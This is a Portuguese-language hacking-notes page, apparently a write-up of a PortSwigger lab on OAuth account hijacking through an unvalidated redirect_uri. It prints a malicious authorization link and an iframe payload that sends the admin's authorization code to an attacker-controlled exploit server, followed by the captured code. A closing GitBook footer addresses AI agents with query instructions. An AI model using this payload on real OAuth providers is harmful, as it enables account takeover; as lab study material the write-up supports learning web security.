> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# Sequestro de conta OAuth via redirect\_uri

Notas sobre sequestro de conta OAuth via redirect\_uri para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Sequestro de conta OAuth via Redirect/\_uri

**Objetivo do laboratório**

Este laboratório demonstra como uma má configuração do `redirect_uri` parâmetro em um fluxo OAuth permite que um invasor roube **códigos de autorização** associados à conta de outro usuário.

**Mas, por fim:**

* Interceptar um código de autorização OAuth pertencente a um usuário **admin**
* Usar este código para acessar a conta dele
* Excluir usuário **carlos**

**Contexto e Condições**

* O site permite autenticação por meio de um provedor OAuth (rede social).
* Usuário **admin**:
* Abre qualquer link do servidor de exploração.
* Já tem uma sessão ativa com o provedor OAuth.
* IDs fornecidos:
* Conta social do invasor: `wiener:peter`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-988d41adeedc64516c796b7955e826573b7d2145%2F%7BFD48D7DC-AD1B-44B8-A2B9-D5821B2E0202%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise do fluxo OAuth**

Quando um usuário se conecta via OAuth, a aplicação envia uma solicitação semelhante a:

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

O ponto crítico é que **o provedor OAuth não exige validação rigorosa de `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**Validação da vulnerabilidade**

Alterando o `redirect_uri` parâmetro para um domínio arbitrário, por exemplo:

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e1a7427f429b8d40b580f541ab8e4fae90d654e%2F%7B406946D8-98A3-400F-ABE7-E4D9FD190DD4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

o seguinte comportamento é observado:

* o provedor OAuth redireciona corretamente para este campo
* **OAuth** o código de autorização é incluído na URL de redirecionamento

Isso confirma que `redirect_uri` é explorável.

**Exploração**

O objetivo agora é forçar o administrador a iniciar uma autenticação OAuth cujo redirecionamento aponte para \*\* o servidor de exploração\*\* do invasor.

Link OAuth malicioso usado:

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

Este link é incorporado em uma página do servidor de exploração usando um iframe:

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**Recuperação do código de autorização**

Quando o administrador abre a página:

* O fluxo OAuth é executado automaticamente
* O provedor OAuth redireciona para o servidor de exploração
* \*\*os logs do servidor de exploração\*\* contêm vários códigos OAuth

O **o último código recebido** é usado, por exemplo:

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2fdc8eb6e25c51189cef427ab48967e73c50dac3%2F%7BF6979F3F-434F-4BDE-9F0F-A789F2FF8855%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fd8a7136d11b185abdbc41f8ce255ae3317515a%2F%7B32965D97-05D8-45EC-A695-74D0B2086893%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

* O código de autorização é válido
* O acesso à \*\*conta do administrador\*\* é obtido

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd14c94a26e9ed2c4f1d3b7d37aef536cfb925a9%2F%7B89BAE060-611A-4E1F-9B30-23D22946907E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
